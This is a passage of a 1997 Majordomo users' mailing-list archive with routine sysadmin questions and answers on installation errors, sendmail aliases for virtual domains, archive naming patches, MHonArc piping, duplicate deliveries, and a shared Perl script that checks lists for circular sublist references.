Martin cyberfam@cais.com From owner-majordomo-users-outgoing Mon Jun 16 10:24:52 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id KAA05983 for majordomo-users-outgoing; Mon, 16 Jun 1997 10:11:09 -0700 (PDT) Received: from wukon.appliedtheory.com (wukon.appliedtheory.com [204.168.18.26]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id KAA05891 for ; Mon, 16 Jun 1997 10:10:46 -0700 (PDT) Received: (from uucp@localhost) by wukon.appliedtheory.com (8.8.5/8.8.5) id NAA04112 for ; Mon, 16 Jun 1997 13:11:10 -0400 (EDT) Message-Id: <199706161711.NAA04112@wukon.appliedtheory.com> Received: from localhost(127.0.0.1) by wukon.appliedtheory.com via smap (V1.3) id sma004105; Mon Jun 16 13:11:00 1997 X-Mailer: exmh version 1.6.5 12/8/95 To: majordomo-users@greatcircle.com Subject: Need help installing v1.94.3 on Solaris v5.5.1 Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Mon, 16 Jun 1997 13:11:00 -0400 From: Judith Reed Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk Greetings. I am trying to install majordomo v1.94.3 on a Solaris v5.5.1 system, using gcc v2.7.2.1 and perl v5.003. I am on the "make install" step, and get as far as: Testing for perl (/usr/local/bin/perl)... Configuring scripts... ./install.sh -m 751 -O 1002 -g 12 . /usr/local/majordomo-1.94.3 ./install.sh -m 755 -O 1002 -g 12 . /usr/local/majordomo-1.94.3/bin Copying tools to /usr/local/majordomo-1.94.3/bin Copying Majordomo files to /usr/local/majordomo-1.94.3 when I get the error: mv: cannot rename /usr/local/majordomo-1.94.3/digest/1618.tmp: No such file or d irectory The file /usr/local/majordomo-1.94.3/digest/1618.tmp does indeed exist at this point; - the file $(TMP)/$$file (presumeably /var/tmp/mj*/digest/1618.tmp) does not exist. Can anyone tell me how to get past this glitch?? I do not subscript to this list, so private email would be deeply appreciated. Many TIA. -- Judith Reed jreed@appliedtheory.com From owner-majordomo-users-outgoing Mon Jun 16 10:38:03 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id KAA06001 for majordomo-users-outgoing; Mon, 16 Jun 1997 10:11:13 -0700 (PDT) Received: from gemini.inspace.net (gemini.inspace.net [207.204.40.8]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id KAA05915 for ; Mon, 16 Jun 1997 10:10:53 -0700 (PDT) Received: by gemini.inspace.net with MERCUR-SMTP/POP3-Server (v2.10) for at Mon, 16 Jun 97 13:18:13 +-500 Message-Id: <3.0.32.19970616131228.006983f0@gemini.inspace.net> X-Sender: gme-lists@gemini.inspace.net X-Mailer: Windows Eudora Pro Version 3.0 (32) Date: Mon, 16 Jun 1997 13:12:28 -0400 To: majordomo-users@greatcircle.com From: "George M. Ellenburg" Subject: Problem with sendmail aliases, virtual domains... Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk Greetings! I have a rather perplexing problem... I have two mailing lists, being served off of one server, under two different domains, using two different majordomo.cf files. The domains are: lists.inspace.net, and lists.theroc.org. I am using Majordomo 1.94.3, and sendmail 8.8.6, on linux 1.2.8. Here's my problem... upon invoction (sp?) of 'newaliases' I receive the following message: ------- nebula:/root# newaliases /etc/aliases: line 19: "mjrdmo-roc"... Warning: duplicate alias name majordomo /etc/aliases: 31 aliases, longest 130 bytes, 1809 bytes total nebula:/root# ------- My aliases file looks like this: ------- # # Company-wide aliases deleted # for privacy reasons. # # Comments replaced to keep # line-numbers intact. # # # # # # # # # Majordomo Specific Aliases owner-majordomo:"root@gemini.inspace.net" majordomo-owner:"owner-majordomo" "majordomo@lists.inspace.net":"mjrdmo-iss" "majordomo@lists.theroc.org":"mjrdmo-roc" mjrdmo-iss:"|/usr/local/majordomo/wrapper majordomo -C /usr/local/majordomo/majordomo.cf" mjrdmo-roc:"|/usr/local/majordomo/wrapper majordomo -C /usr/local/majordomo/theroc.cf" # # Rock Out Censorship Announcement Mailing List roc-announce@lists.theroc.org:"|/usr/local/majordomo/wrapper resend -l roc-announce -C /usr/local/majordomo/theroc.cf -h lists.theroc.org roc-announce-outgoing" roc-announce-outgoing:":include:/usr/local/majordomo/lists/roc-announce" owner-roc-announce@lists.theroc.org:"roc@theroc.org",majordomo-owner roc-announce-request@lists.theroc.org:"|/usr/local/majordomo/wrapper request-answer -C /usr/local/majordomo/theroc.cf roc-announce" roc-announce-approval:"owner-roc-announce" # # ASCE-L asce-l@lists.inspace.net:"|/usr/local/majordomo/wrapper resend -l asce-l -C /usr/local/majordomo/majordomo.cf -h lists.inspace.net asce-l-outgoing" asce-l-outgoing:":include:/usr/local/majordomo/lists/asce-l, asce-l-archive, asce-l-digestify" asce-l-request@lists.inspace.net:"|/usr/local/majordomo/wrapper request-answer -C /usr/local/majordomo/majordomo.cf asce-l" owner-asce-l@lists.inspace.net:"gme@inspace.net" owner-asce-l-outgoing:"owner-asce-l" asce-l-archive:"/usr/local/majordomo/archive/asce-l" asce-l-digestify:"|/usr/local/majordomo/wrapper digest -r -C /usr/local/majordomo/majordomo.cf -l asce-l-digest asce-l-digest-outgoing" asce-l-digest:"asce-l" asce-l-digest-outgoing:":include:/usr/local/majordomo/lists/asce-l-digest" asce-l-digest-request:"|/usr/local/majordomo/wrapper majordomo -C /usr/local/majordomo/majordomo.cf -l asce-l-digest" owner-asce-l-digest-outgoing:"owner-asce-l" ------- There does exist a 'Cwlists.theroc.org' and 'Cwlists.inspace.net' in my sendmail.cf file for these two subdomains, and MX records exist in DNS for these two subdomains as well. Does anybody have any clues or ideas? All help would be appreciated! TIA George Ellenburg From owner-majordomo-users-outgoing Mon Jun 16 12:34:12 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id MAA15995 for majordomo-users-outgoing; Mon, 16 Jun 1997 12:14:49 -0700 (PDT) Received: from miles.greatcircle.com (miles.greatcircle.com [198.102.244.34]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id MAA15612 for ; Mon, 16 Jun 1997 12:13:33 -0700 (PDT) Received: from krumm.commline.com (krumm.commline.com [207.78.30.252]) by miles.greatcircle.com (8.8.5/Miles-970308-2) with ESMTP id MAA10430 for ; Mon, 16 Jun 1997 12:10:05 -0700 (PDT) Received: from localhost (dmbong@localhost) by krumm.commline.com (8.8.5/8.8.3) with SMTP id PAA13993 for ; Mon, 16 Jun 1997 15:10:52 -0400 (EDT) X-Authentication-Warning: krumm.commline.com: dmbong owned process doing -bs Date: Mon, 16 Jun 1997 15:10:52 -0400 (EDT) From: "Brian L. Heess" To: Majordomo Users List Subject: long date (year) hack for archive or archive2 Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk Has anybody hacked either of these yet to have the archives created at listname.19970615 instead of listname.970615 ? It would be useful... Cheers! -Brian -- dmbong@krumm.commline.com Brian L. Heess, brian@thru.net | Office: 201.288.1136 VP Technology | Fax: 201.288.0213 Vanguard InterActive, Inc. | Home: 201-387-2574 / 201-287-0739 My personal URLs: brian@commline.com - http://www.commline.com (DM/BONG) From owner-majordomo-users-outgoing Mon Jun 16 15:01:49 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id OAA22777 for majordomo-users-outgoing; Mon, 16 Jun 1997 14:48:12 -0700 (PDT) Received: from miles.greatcircle.com (miles.greatcircle.com [198.102.244.34]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id OAA22770 for ; Mon, 16 Jun 1997 14:48:06 -0700 (PDT) Received: from mail.state.mn.us (mail.state.mn.us [204.73.26.1]) by miles.greatcircle.com (8.8.5/Miles-970308-2) with SMTP id OAA11809 for ; Mon, 16 Jun 1997 14:51:26 -0700 (PDT) Received: from roman.state.mn.us by mail.state.mn.us; Mon, 16 Jun 97 15:45:18 -0500 Message-Id: <2.2.32.19970616204442.007679a8@mail.state.mn.us> X-Sender: roman@mail.state.mn.us X-Mailer: Windows Eudora Pro Version 2.2 (32) Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Date: Mon, 16 Jun 1997 15:44:42 -0500 To: majordomo-users@GreatCircle.COM From: Roman Richardson Subject: MhonArc alias? Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk Hi folks, I've got a base archive up using MhonArc and the Excite Search engine. My question for other people already using MhonArc is, how do you pass the message to mhonarc? i.e. Could I see that part of your alias file. The main problem I see is, how do you strip off the SMTP headers before passing it to MhonArc? Thanks, Roman --- Roman Richardson UNIX / Email Systems Specialist State of Minnesota - InterTechnologies Group From owner-majordomo-users-outgoing Mon Jun 16 16:37:52 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id QAA02443 for majordomo-users-outgoing; Mon, 16 Jun 1997 16:31:18 -0700 (PDT) Received: from smailva1.slma.com (smailva1.slma.com [167.104.32.43]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id QAA02417 for ; Mon, 16 Jun 1997 16:31:06 -0700 (PDT) Received: from smailva1-gw.slma.com by smailva1.slma.com (X.400 to RFC822 Gateway); Mon, 16 Jun 1997 19:31:33 -0400 X400-Received: by mta MTASallieMae in /c=US/admd= /prmd=SallieMae/; Relayed; 16 Jun 1997 19:31:33 -0400 X400-Received: by /c=US/admd= /prmd=SallieMae/; Relayed; 16 Jun 1997 19:31:33 -0400 X400-MTS-Identifier: [/c=US/admd= /prmd=SallieMae/; 0018D33A5CCD5F36-MTASallieMae] Content-Identifier: 0018D33A5CCD5F36 Content-Return: Allowed X400-Content-Type: P2-1988 ( 22 ) Conversion: Allowed Original-Encoded-Information-Types: IA5-Text Disclose-Recipients: Prohibited Alternate-Recipient: Allowed X400-Originator: Andrew.Witt@slma.com X400-Recipients: non-disclosure; Message-Id: <"0018D33A5CCD5F36*/c=us/admd= /prmd=salliemae/o=salliemae/ou=ccMail/ou=71020/s=Witt/g=Andrew/"@MHS> Date: 16 Jun 1997 19:31:33 -0400 From: Andrew Witt To: majordomo-users@GreatCircle.COM (IPM Return requested) Subject: Sublists - Utility MIME-Version: 1.0 Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk Regarding sublists (lists of lists): I have been using this strategy for a while now, with excellent results. In order to *continue* to have good results, I wrote the below Perl as a preventative measure. It scans my lists for sublists, checking for circularity and duplicate references. While Majordomo will not add an address that is already on the list, trouble can arise if list aaa refers to list bbb which refers to list aaa, *OR* if list aaa refers to lists bbb and ccc and list bbb also refers to list ccc. The code below reports on both types of situations. I use periodic cron jobs to run this and to notify me if circular or duplicate references are found. Since they cannot see the list hierarchy without studying several 'who' results, an otherwise well meaning user could ruin my whole day with one bright idea ... Of course, there are things about this that reflect the way Majordomo is used at my company. For instance, the only lists that are allowed to be members of a lists are internal lists, so for my purposes 'list-name' and 'list-name@company.com' are the same, and the code uses this. If your list has 'fish-lovers@aqua.marine.com' and 'fish-lovers@neptune.com' in it, you need to modify the code very slightly. Have fun with it! +-------------------------------------------------------------------------+ | SallieMae | Andrew Witt, Mail Team | | Helping Make Education Possible | Helping Make SallieMae Possible | | http://www.salliemae.com | andrew.witt@slma.com | +-------------------------------------------------------------------------+ #!/usr/bin/perl # # global constant $pathLists = "/opt/mailhub/list/majordomo"; # global variables # @listLists is an array of current list names # $strSubLists is built through recursive calls to &TellSubLists( ) # $depth tracks the recursion, to help with formatting the output @listLists = (); $strSubLists = ""; $depth = 0; # read in the list names print( STDERR "$0: reading in list names from $pathLists ...\n" ); opendir( DIRLISTS, "$pathLists" ) || die( "$0: could not open $pathLists" ); foreach $strListName (readdir( DIRLISTS )) { if ($strListName !~ /\./) { push( @listLists, $strListName ); } } closedir( DIRLISTS ); # main function; go through each list name, printing its sublists foreach $strListName (@listLists) { # must first refresh global $strSubLists $strSubLists = ""; print( STDOUT &TellSubLists( $strListName ) . "\n" ); } # core routine; basically just append first arg to $strSubLists and # then recursively call self if needed sub TellSubLists { local $strListName = @_[0]; local @listMembers = (); # if this list has been mentioned since $strSubLists was fresh, # then there is a circularity or duplication problem if ($strSubLists =~ /$strListName/i) { $strSubLists .= $strListName . " **** CIRCULAR / DUPLICATE REFERENCE"; return $strSubLists; } # build up $strSubLists $strSubLists .= $strListName; $depth++; # read in membership of list in question $fileList = $pathLists . "/" . $strListName; open( FILELIST, $fileList ); while ($strLineIn = ) { chomp( $strLineIn ); push( @listMembers, $strLineIn ); } close( FILELIST ); # see if any list members are lists foreach $strMember (@listMembers) { # prune @domain.name, in case it is there if ($strMember =~ /\@/) { $strMember =~ s/\@.*$//; } if (grep( /$strMember/i, @listLists )) { # add some formatting white space and look # deeper for sub-lists $strSubLists .= "\n" . (" " x $depth); &TellSubLists( $strMember ); } } $depth--; return $strSubLists; } From owner-majordomo-users-outgoing Mon Jun 16 18:38:14 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id SAA23595 for majordomo-users-outgoing; Mon, 16 Jun 1997 18:14:33 -0700 (PDT) Received: from miles.greatcircle.com (miles.greatcircle.com [198.102.244.34]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id SAA23422 for ; Mon, 16 Jun 1997 18:13:30 -0700 (PDT) Received: from emerald (emerald.omg.org [192.67.184.65]) by miles.greatcircle.com (8.8.5/Miles-970308-2) with SMTP id RAA13722 for ; Mon, 16 Jun 1997 17:47:32 -0700 (PDT) Received: from elessar.omg.org by emerald (SMI-8.6/SMI-SVR4) id UAA21239; Mon, 16 Jun 1997 20:47:08 -0400 Message-Id: <3.0.32.19970616204259.0081ac30@emerald.omg.org> X-Sender: monika@emerald.omg.org X-Mailer: Windows Eudora Pro Version 3.0 (32) Date: Mon, 16 Jun 1997 20:43:13 -0400 To: majordomo-users@GreatCircle.COM From: Monika Adamczyk Subject: eliminating duplicates Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk I have a question related to mail sent to more than one list on our server. My understanding of the Majordomo is that if person A is on listA and listB and the mail gets sent to both lists at the same time, two messages arrive at the person A mailbox. This an undesirable behavior for us - we have a lot of discussion which gets cross posted between list and many subscribes who are on multiple lists - they would like to get one message per posting. I wasn't able to figure out how to have it done (if it is possible at all - please tel me yes or I have to maintain the lists manually :-( ). Any suggestions? Monika From owner-majordomo-users-outgoing Mon Jun 16 18:47:50 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id SAA28861 for majordomo-users-outgoing; Mon, 16 Jun 1997 18:34:55 -0700 (PDT) Received: from wyrm.its.uow.edu.au (wyrm.its.uow.edu.au [130.130.68.1]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id SAA28848 for ; Mon, 16 Jun 1997 18:34:49 -0700 (PDT) Received: from ghost.its.uow.edu.au (ghost.its.uow.edu.au [130.130.68.29]) by wyrm.its.uow.edu.au (8.8.5/8.8.5) with ESMTP id LAA26972 for ; Tue, 17 Jun 1997 11:35:15 +1000 (EST) From: "Matthew O'Brien" Received: (from matthew@localhost) by ghost.its.uow.edu.au (8.8.5/8.8.0) id LAA24482 for majordomo-users@greatcircle.com; Tue, 17 Jun 1997 11:35:15 +1000 (EST) Message-Id: <199706170135.LAA24482@ghost.its.uow.edu.au> Subject: unknown mailer error 139 To: majordomo-users@greatcircle.com Date: Tue, 17 Jun 1997 11:35:14 +1000 (EST) X-Mailer: ELM [version 2.4ME+ PL11 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk I get this error when I try and send a request to majordomo. The config-test runs without problem, and I have checked the permissions and locations of the perl scripts AND I have read teh FAQ. If anyone can help with this I would appreciate it. Thanks, Matthew ----- Forwarded message from Mail Delivery Subsystem ----- The original message was received at Tue, 17 Jun 1997 11:27:23 +1000 (EST) from wyrm.its.uow.edu.au [130.130.68.1] ----- The following addresses had permanent fatal errors ----- "| /share/majordomo/wrapper majordomo" (expanded from: ) ----- Transcript of session follows ----- Segmentation Fault - core dumped 554 "| /share/majordomo/wrapper majordomo"... unknown mailer error 139 ----- Original message follows ----- From owner-majordomo-users-outgoing Mon Jun 16 18:53:08 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id SAA25894 for majordomo-users-outgoing; Mon, 16 Jun 1997 18:23:37 -0700 (PDT) Received: from miles.greatcircle.com (miles.greatcircle.com [198.102.244.34]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id SAA23462 for ; Mon, 16 Jun 1997 18:13:35 -0700 (PDT) Received: from sina.hpc.uh.edu (Sina.HPC.UH.EDU [129.7.3.5]) by miles.greatcircle.com (8.8.5/Miles-970308-2) with ESMTP id RAA13801 for ; Mon, 16 Jun 1997 17:48:02 -0700 (PDT) Received: (from tibbs@localhost) by sina.hpc.uh.edu (8.7.3/8.7.3) id TAA18046; Mon, 16 Jun 1997 19:45:16 -0500 (CDT) To: "Brian L. Heess" Cc: Majordomo Users List Subject: Re: long date (year) hack for archive or archive2 References: Mime-Version: 1.0 (generated by tm-edit 7.100) Content-Type: text/plain; charset=US-ASCII From: Jason L Tibbitts III Date: 16 Jun 1997 19:45:15 -0500 In-Reply-To: "Brian L. Heess"'s message of Mon, 16 Jun 1997 15:10:52 -0400 (EDT) Message-ID: Lines: 45 X-Mailer: Gnus v5.4.46/Emacs 19.34 Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk >>>>> "BLH" == Brian L Heess writes: BLH> Has anybody hacked either of these yet to have the archives created at BLH> listname.19970615 instead of listname.970615 ? Well, here's 30 seconds' work. Completely untested... --- archive2.pl.orig Mon Jun 16 19:43:22 1997 +++ archive2.pl Thu Dec 12 09:01:39 1996 @@ -113,7 +113,6 @@ if (defined($opt_a)) { ($sec, $min, $hour, $mday, $mon, $year, $wday, $yday, $isdst) = localtime(time); - $year += 1900; &open_archive(FILE, $year, $mon + 1, $mday); } @@ -147,7 +146,7 @@ local($junk, $addr, $dow, $moy, $dom, $time, $year, @rest); ($junk, $addr, $dow, $moy, $dom, $time, $year, @rest) = split(/\s+/,$from); - &open_archive($FH, $year, $MoY{$moy}, $dom); + &open_archive($FH, $year % 100, $MoY{$moy}, $dom); } sub open_archive { @@ -158,13 +157,13 @@ local($suffix); if (defined($opt_y)) { - $suffix = sprintf(".%04d", $year); + $suffix = sprintf(".%02d", $year % 100); } if (defined($opt_m)) { - $suffix = sprintf(".%04d%02d", $year, $mon); + $suffix = sprintf(".%02d%02d", $year % 100, $mon); } if (defined($opt_d)) { - $suffix = sprintf(".%04d%02d%02d", $year, $mon, $mday); + $suffix = sprintf(".%02d%02d%02d", $year % 100, $mon, $mday); } &lopen($FH, ">>", "$opt_f$suffix") || - J< From owner-majordomo-users-outgoing Mon Jun 16 20:08:00 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id TAA07393 for majordomo-users-outgoing; Mon, 16 Jun 1997 19:43:54 -0700 (PDT) Received: from miles.greatcircle.com (miles.greatcircle.com [198.102.244.34]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id TAA07245 for ; Mon, 16 Jun 1997 19:43:29 -0700 (PDT) Received: from valjean.sfhs.floyd.k12.ky.us ([170.180.106.55]) by miles.greatcircle.com (8.8.5/Miles-970308-2) with ESMTP id TAA14958 for ; Mon, 16 Jun 1997 19:18:04 -0700 (PDT) Received: (from amethyst@localhost) by valjean.sfhs.floyd.k12.ky.us (8.8.4/8.8.5) id WAA08476; Mon, 16 Jun 1997 22:05:47 -0400 Date: Mon, 16 Jun 1997 22:05:47 -0400 Message-Id: <199706170205.WAA08476@valjean.sfhs.floyd.k12.ky.us> From: Neil Moore To: majordomo-users@GreatCircle.COM In-reply-to: (message from Jason L Tibbitts III on 16 Jun 1997 19:45:15 -0500) Subject: Re: long date (year) hack for archive or archive2 Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk > > >>>>> "BLH" == Brian L Heess writes: > > BLH> Has anybody hacked either of these yet to have the archives created at > BLH> listname.19970615 instead of listname.970615 ? > > Well, here's 30 seconds' work. Completely untested... > > --- archive2.pl.orig Mon Jun 16 19:43:22 1997 ^^^^ > +++ archive2.pl Thu Dec 12 09:01:39 1996 ^^^^ > [snip] > - $suffix = sprintf(".%04d%02d%02d", $year, $mon, $mday); > + $suffix = sprintf(".%02d%02d%02d", $year % 100, $mon, $mday); ^^^^^^^^^^^ Err.. it looks like you got the patch reversed -- -Neil Moore http://www.sfhs.floyd.k12.ky.us/~amethyst/ (finger amethyst@valjean.sfhs.floyd.k12.ky.us for my Geek Code) From owner-majordomo-users-outgoing Mon Jun 16 20:38:10 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id UAA12264 for majordomo-users-outgoing; Mon, 16 Jun 1997 20:09:26 -0700 (PDT) Received: from gsulaw.gsu.edu (gsulaw.Gsu.EDU [131.96.87.70]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id UAA12254 for ; Mon, 16 Jun 1997 20:09:20 -0700 (PDT) Received: from localhost (lawppw@localhost) by gsulaw.gsu.edu (8.8.5/8.8.5) with SMTP id XAA01626; Mon, 16 Jun 1997 23:08:06 -0400 Date: Mon, 16 Jun 1997 23:08:06 -0400 (EDT) From: Patrick Wiseman To: Roman Richardson cc: majordomo-users@GreatCircle.COM Subject: Re: MhonArc alias? In-Reply-To: <2.2.32.19970616204442.007679a8@mail.state.mn.us> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk On Mon, 16 Jun 1997, Roman Richardson wrote: : I've got a base archive up using MhonArc and the Excite Search engine. :My question for other people already using MhonArc is, how do you pass the :message to mhonarc? i.e. Could I see that part of your alias file. : : The main problem I see is, how do you strip off the SMTP headers before :passing it to MhonArc? Sample aliases: test-outgoing::include:/usr/local/majordomo/lists/test, test-mhonarc test-mhonarc: "|/usr/local/majordomo/wrapper mhonarc -add -quiet -outdir /usr/local/majordomo/MHonArc/test" With lines 2 and 3 actually being one line in the alises file. And, obviously, I have an archive directory ("MHonArc/test") to which MHonArc-processed messages are immediately posted; and I've installed a copy of mhonarc in the majordomo directory, so as to use wrapper to invoke it. (I should point out that I'm hosting time-limited, low-volume lists -- per class, per semester or year -- high-volume lists would not want to send the output straight to mhonarc probably; or, at least, would want to split up the archive from time to time). As for dealing with SMTP headers, I'm pretty sure that's something you want to let MHonArc handle with its rcfile -- and MHonArc 2.1 does a rather nice default job of it. Patrick From owner-majordomo-users-outgoing Mon Jun 16 22:52:55 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id WAA04297 for majordomo-users-outgoing; Mon, 16 Jun 1997 22:46:16 -0700 (PDT) Received: from sina.hpc.uh.edu (Sina.HPC.UH.EDU [129.7.3.5]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id WAA04283 for ; Mon, 16 Jun 1997 22:46:10 -0700 (PDT) Received: (from tibbs@localhost) by sina.hpc.uh.edu (8.7.3/8.7.3) id AAA22975; Tue, 17 Jun 1997 00:46:47 -0500 (CDT) To: Neil Moore Cc: majordomo-users@GreatCircle.COM Subject: Re: long date (year) hack for archive or archive2 References: <199706170205.WAA08476@valjean.sfhs.floyd.k12.ky.us> Mime-Version: 1.0 (generated by tm-edit 7.100) Content-Type: text/plain; charset=US-ASCII From: Jason L Tibbitts III Date: 17 Jun 1997 00:46:46 -0500 In-Reply-To: Neil Moore's message of Mon, 16 Jun 1997 22:05:47 -0400 Message-ID: Lines: 7 X-Mailer: Gnus v5.4.46/Emacs 19.34 Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk >>>>> "NM" == Neil Moore writes: NM> Err.. it looks like you got the patch reversed Well, patch -r is your friend. - J< From owner-majordomo-users-outgoing Tue Jun 17 01:38:26 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id BAA00304 for majordomo-users-outgoing; Tue, 17 Jun 1997 01:36:56 -0700 (PDT) Received: from stingray.ivision.co.uk (stingray.ivision.co.uk [194.154.62.72]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with SMTP id BAA00273 for ; Tue, 17 Jun 1997 01:36:41 -0700 (PDT) Received: from stingray.ivision.co.uk [194.154.62.72] by stingray.ivision.co.uk with smtp (Exim 1.62 #1) id 0wdtlB-0004uH-00; Tue, 17 Jun 1997 09:37:05 +0100 Date: Tue, 17 Jun 1997 09:37:05 +0100 (BST) From: Manar Hussain To: Monika Adamczyk cc: majordomo-users@GreatCircle.COM Subject: Re: eliminating duplicates In-Reply-To: <3.0.32.19970616204259.0081ac30@emerald.omg.org> Message-ID: Organisation: Internet Vision MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk >I have a question related to mail sent to more than one list on our >server. > >My understanding of the Majordomo is that if person A is on listA and >listB and the mail gets sent to both lists at the same time, two >messages arrive at the person A mailbox. >This an undesirable behavior for us - we have a lot of discussion >which gets cross posted between list and many subscribes who are on >multiple lists - they would like to get one message per posting. > >I wasn't able to figure out how to have it done (if it is possible at >all - please tel me yes or I have to maintain the lists manually :-( This came up recently and there seems to be no simple solution. About the only thing I can think of is (1) to have lists that are an amalgamation of a set of lists that people might be subscribed to ... I.E. - say you have lists A, B and C. Then add lists 1 = A+B, 2 = B+C, 3= A+C and 4 = A+B+C. Very messy and potentially giving you silly numbers of lists + reduces delivery efficiency ... Hmm the more I think about it the madder it gets (there's all sorts of things that you'd have to hack around with) . (2) The only other way I could think of possibly doing it is to have something that allowed you to giving a list of recipients which is "addresses in this file(s) minus any addresses that are also in this file(s)" ... then make a more sane patch to majordomo which says if there are multiple lists you handle being in the To: / Cc: / Bcc: lines then order them consistently and call the MTA with a recipients list of "addresses in my list's subscriber file(s) minus any addresses that may also be in the subscriber file(s) for 'previous' lists". This feature could either be supported by the MTA (I don't think any currently do) but I'm not sure how easy/hard it would be do put it all in majordomo (it would need to create a temporary file for the recipients list for this particular combination which is not really how it's geared up to work)... I may also be missing a truck load of other problems with doing something like this ... Manar From owner-majordomo-users-outgoing Tue Jun 17 02:08:02 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id BAA02603 for majordomo-users-outgoing; Tue, 17 Jun 1997 01:53:46 -0700 (PDT) Received: from slacker.cu-online.com (slacker.cu-online.com [206.185.2.73]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id BAA02454 for ; Tue, 17 Jun 1997 01:53:22 -0700 (PDT) Received: from localhost (sarge@localhost) by slacker.cu-online.com (8.8.5/8.8.5) with SMTP id EAA13085 for ; Tue, 17 Jun 1997 04:02:20 -0500 (CDT) Date: Tue, 17 Jun 1997 04:02:20 -0500 (CDT) From: Sarge in Charge To: Majordomo-Users Subject: BOUNCE readyroom@slacker.cu-online.com: Admin request of type /^\s*config\b/i at line 1 (fwd) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk OK folks I figured out what my last error was i was doing hypen-one (-1) instead of hypen-l (lower case) (-1). I then sent a mail to readyroom@slacker.cu-online.com and in the subject i put config readyroom readyroom.admin and this mail is what I got back it is contained belowed is this normal and is everything ready? Or do i still have an error? ******************************************************************************* Officer White Badge# 908 Saying: You miss 100% of the chances, you never take!!!! ******************************************************************************* ---------- Forwarded message ---------- Date: Tue, 17 Jun 1997 03:59:32 -0500 (CDT) From: owner-readyroom@slacker.cu-online.com To: owner-readyroom@slacker.cu-online.com Subject: BOUNCE readyroom@slacker.cu-online.com: Admin request of type /^\s*config\b/i at line 1 >From sarge Tue Jun 17 03:59:27 1997 Received: from localhost (sarge@localhost) by slacker.cu-online.com (8.8.5/8.8.5) with SMTP id DAA13064 for ; Tue, 17 Jun 1997 03:59:27 -0500 (CDT) Date: Tue, 17 Jun 1997 03:59:26 -0500 (CDT) From: Sarge in Charge To: readyroom@slacker.cu-online.com Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII config readyroom readyroom.admin From owner-majordomo-users-outgoing Tue Jun 17 02:53:08 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id CAA07514 for majordomo-users-outgoing; Tue, 17 Jun 1997 02:39:43 -0700 (PDT) Received: from mail.ua.pt (mail.ua.pt [193.136.80.103]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id CAA07507 for ; Tue, 17 Jun 1997 02:39:38 -0700 (PDT) Received: from zeus.ci.ua.pt (cooker@zeus.ci.ua.pt [193.136.80.3]) by mail.ua.pt (8.8.5/8.8.5) with ESMTP id KAA18957 for ; Tue, 17 Jun 1997 10:40:08 +0100 (WEST) Message-Id: <199706170940.KAA18957@mail.ua.pt> Received: by zeus.ci.ua.pt (1.40.112.8/16.2) id AA027050403; Tue, 17 Jun 1997 10:40:03 +0100 From: Fernando Cozinheiro Subject: Regex E-mail addresses To: majordomo-users@GreatCircle.COM Date: Tue, 17 Jun 1997 10:40:02 +0100 (PST) Cc: cooker@zeus.ci.ua.pt (Fernando Cozinheiro) Organization: Universidade de Aveiro, Portugal X-Mailer: ELM [version 2.4 PL24] Content-Type: text Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk Dear friends: We are still using Majordomo 1.94.1 